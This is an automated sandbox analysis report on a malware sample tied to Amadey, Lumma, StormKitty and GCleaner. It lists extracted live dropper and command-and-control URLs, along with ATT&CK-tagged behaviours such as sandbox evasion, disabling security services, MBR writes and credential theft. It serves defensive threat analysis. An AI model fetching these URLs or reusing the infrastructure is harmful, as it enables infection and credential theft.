amadey | 7d64b22c7782e570dcba06418f6bc62204850ba2c1d37264e7a0319839d8de3b

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
02/04/2025, 13:55

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2025-04-02_48d0a979463ac8a1479a441fdc4e39e6_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
Size

938KB
MD5

48d0a979463ac8a1479a441fdc4e39e6
SHA1

ac5e8c8d19336d2e1c9b9ca677a700feaf9a3a2d
SHA256

7d64b22c7782e570dcba06418f6bc62204850ba2c1d37264e7a0319839d8de3b
SHA512

67c4e0097f1ef03e0235bc565a919f2673830ae6f136ebd2125720612c390a7cb1b7cdd77512d7108e5bc6c5da6c8d27929bdeb237a2a89a34a62cdef8b81c79
SSDEEP

24576:KqDEvCTbMWu7rQYlBQcBiT6rprG8a0Qu:KTvC/MTQYxsWR7a0Q

Score

10^/10

amadey gcleaner lumma stormkitty 092155 bootkit collection defense_evasion discovery execution exploit loader persistence privilege_escalation spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

http://176.113.115.6

Attributes

install_dir
bb556cff4a
install_file
rapes.exe
strings_key
a131b127e996a898cd19ffb2d92e481b
url_paths
/Ni9kiput/index.php

rc4.plain

Extracted

Family

lumma

https://rodformi.run/aUosoz

https://metalsyo.digital/opsa

https://ironloxp.live/aksdd

https://navstarx.shop/FoaJSi

https://starcloc.bet/GOksAo

https://advennture.top/GKsiio

https://targett.top/dsANGt

https://spacedbv.world/EKdlsk

https://galxnetb.today/GsuIAo

https://byteplusx.digital/aXweAX

https://travewlio.shop/ZNxbHi

https://skynetxc.live/AksoPA

https://pixtreev.run/LkaUz

https://sparkiob.digital/KeASUp

https://appgridn.live/LEjdAK

https://hadvennture.top/GKsiio

https://wstarcloc.bet/GOksAo

https://atargett.top/dsANGt

https://igalxnetb.today/GsuIAo

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Amadey family
amadey
GCleaner
GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.
loader gcleaner
Gcleaner family
gcleaner
Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma

Modifies security service 2 TTPs 2 IoCs

defense_evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Security	reg.exe

StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 2 IoCs

resource	yara_rule
behavioral1/files/0x000900000002426b-98.dat	family_stormkitty
behavioral1/memory/4616-111-0x0000000000260000-0x000000000029C000-memory.dmp	family_stormkitty

Stormkitty family
stormkitty

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 3780 created 2632	3780	MSBuild.exe	44

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 10 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	908d80d246.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	e548ce2a38.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	8477dff415.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Temp7MZ9SGJW40HRZNEPJCLWQ9VDHFCNASWB.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	dfbd3cf05e.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	962eeebb7d.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	9c8014cd4f.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
20	3336	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3336	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Downloads MZ/PE file 12 IoCs

flow	pid	Process
93	5136	rapes.exe
30	5136	rapes.exe
30	5136	rapes.exe
54	5136	rapes.exe
54	5136	rapes.exe
82	5136	rapes.exe
104	5136	rapes.exe
120	5136	rapes.exe
120	5136	rapes.exe
120	5136	rapes.exe
120	5136	rapes.exe
20	3336	powershell.exe

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
2892	icacls.exe
1084	takeown.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks BIOS information in registry 2 TTPs 22 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	962eeebb7d.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	d9ed73764e.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	d9ed73764e.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	908d80d246.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	8477dff415.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Temp7MZ9SGJW40HRZNEPJCLWQ9VDHFCNASWB.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	9c8014cd4f.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	dfbd3cf05e.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	908d80d246.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Temp7MZ9SGJW40HRZNEPJCLWQ9VDHFCNASWB.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	dfbd3cf05e.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	e548ce2a38.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	8477dff415.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	962eeebb7d.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	9c8014cd4f.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	e548ce2a38.exe

Checks computer location settings 2 TTPs 7 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Control Panel\International\Geo\Nation	7IIl2eE.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Control Panel\International\Geo\Nation	Temp7MZ9SGJW40HRZNEPJCLWQ9VDHFCNASWB.EXE
Key value queried	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Control Panel\International\Geo\Nation	rapes.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Control Panel\International\Geo\Nation	apple.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Control Panel\International\Geo\Nation	261.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Control Panel\International\Geo\Nation	261.exe

Executes dropped EXE 27 IoCs

pid	Process
4676	Temp7MZ9SGJW40HRZNEPJCLWQ9VDHFCNASWB.EXE
5136	rapes.exe
5840	apple.exe
4704	261.exe
3200	261.exe
1044	3sZiUQa.exe
4616	KXtPusH.exe
3100	KXtPusH.exe
3008	3sZiUQa.exe
3624	9c8014cd4f.exe
1072	h8NlU62.exe
724	7IIl2eE.exe
3556	rapes.exe
1744	Passwords.com
4512	dfbd3cf05e.exe
5868	TbV75ZR.exe
3620	qWR3lUj.exe
2440	Rm3cVPI.exe
1096	908d80d246.exe
6124	rapes.exe
1456	e548ce2a38.exe
1656	svchost015.exe
4600	8477dff415.exe
4828	svchost015.exe
5680	962eeebb7d.exe
3716	d9ed73764e.exe
4612	77cb03ff92.exe

Identifies Wine through registry keys 2 TTPs 10 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Software\Wine	e548ce2a38.exe
Key opened	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Software\Wine	8477dff415.exe
Key opened	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Software\Wine	962eeebb7d.exe
Key opened	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Software\Wine	908d80d246.exe
Key opened	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Software\Wine	Temp7MZ9SGJW40HRZNEPJCLWQ9VDHFCNASWB.EXE
Key opened	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Software\Wine	9c8014cd4f.exe
Key opened	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Software\Wine	dfbd3cf05e.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1084	takeown.exe
2892	icacls.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	KXtPusH.exe
Key opened	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	KXtPusH.exe
Key opened	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	KXtPusH.exe
Key opened	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	KXtPusH.exe
Key opened	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	KXtPusH.exe
Key opened	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	KXtPusH.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\962eeebb7d.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10419150101\\962eeebb7d.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\d9ed73764e.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10419160101\\d9ed73764e.exe"	rapes.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
36	ipinfo.io
37	ipinfo.io
39	ipinfo.io

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PHYSICALDRIVE0	9c8014cd4f.exe

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x0009000000024312-1087.dat	autoit_exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
4732	tasklist.exe
5176	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 10 IoCs

pid	Process
4676	Temp7MZ9SGJW40HRZNEPJCLWQ9VDHFCNASWB.EXE
5136	rapes.exe
3624	9c8014cd4f.exe
3556	rapes.exe
4512	dfbd3cf05e.exe
1096	908d80d246.exe
6124	rapes.exe
1456	e548ce2a38.exe
4600	8477dff415.exe
5680	962eeebb7d.exe

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 1072 set thread context of 1892	1072	h8NlU62.exe	208
PID 5868 set thread context of 3780	5868	TbV75ZR.exe	227
PID 3620 set thread context of 5796	3620	qWR3lUj.exe	232
PID 1456 set thread context of 1656	1456	e548ce2a38.exe	238
PID 4600 set thread context of 4828	4600	8477dff415.exe	240

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\fr-FR\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\it-IT\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\ja-JP\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\de-DE\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\de-DE\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\uk-UA\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\fr-FR\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\ja-JP\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\it-IT\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\es-ES\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\es-ES\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\uk-UA\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\MpEvMsg.dll.mui	cmd.exe

Drops file in Windows directory 14 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\rapes.job	Temp7MZ9SGJW40HRZNEPJCLWQ9VDHFCNASWB.EXE
File opened for modification	C:\Windows\ProvidingMilwaukee	7IIl2eE.exe
File opened for modification	C:\Windows\WallpapersHo	7IIl2eE.exe
File opened for modification	C:\Windows\EstateLegislative	7IIl2eE.exe
File opened for modification	C:\Windows\EnglandDeleted	7IIl2eE.exe
File opened for modification	C:\Windows\PotteryUser	7IIl2eE.exe
File opened for modification	C:\Windows\SpecificsHeaven	7IIl2eE.exe
File opened for modification	C:\Windows\LogisticsNotre	7IIl2eE.exe
File opened for modification	C:\Windows\JenniferSubdivision	7IIl2eE.exe
File opened for modification	C:\Windows\BrandonStat	7IIl2eE.exe
File opened for modification	C:\Windows\CorrectionsGeographic	7IIl2eE.exe
File opened for modification	C:\Windows\RowTopics	7IIl2eE.exe
File opened for modification	C:\Windows\DiscussedFacial	7IIl2eE.exe
File opened for modification	C:\Windows\GentleLogging	7IIl2eE.exe

Launches sc.exe 38 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1512	sc.exe
5528	sc.exe
6084	sc.exe
1744	sc.exe
2036	sc.exe
5892	sc.exe
6024	sc.exe
5916	sc.exe
4328	sc.exe
5812	sc.exe
1668	sc.exe
4332	sc.exe
4320	sc.exe
4536	sc.exe
5260	sc.exe
5796	sc.exe
8	sc.exe
5740	sc.exe
5316	sc.exe
3264	sc.exe
868	sc.exe
3276	sc.exe
1832	sc.exe
6000	sc.exe
1376	sc.exe
2360	sc.exe
3644	sc.exe
4376	sc.exe
3880	sc.exe
4312	sc.exe
4596	sc.exe
5396	sc.exe
5152	sc.exe
1572	sc.exe
4352	sc.exe
888	sc.exe
1840	sc.exe
1616	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

Program crash 3 IoCs

pid	pid_target	Process	procid_target
4976	4616	WerFault.exe	175
4212	3100	WerFault.exe	188
2500	3780	WerFault.exe	227

System Location Discovery: System Language Discovery 1 TTPs 52 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost015.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost015.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language	77cb03ff92.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	extrac32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Passwords.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rapes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	261.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	908d80d246.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	8477dff415.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage	77cb03ff92.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Temp7MZ9SGJW40HRZNEPJCLWQ9VDHFCNASWB.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	261.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9c8014cd4f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	KXtPusH.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CMD.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Rm3cVPI.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	e548ce2a38.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	962eeebb7d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2025-04-02_48d0a979463ac8a1479a441fdc4e39e6_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	apple.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7IIl2eE.exe
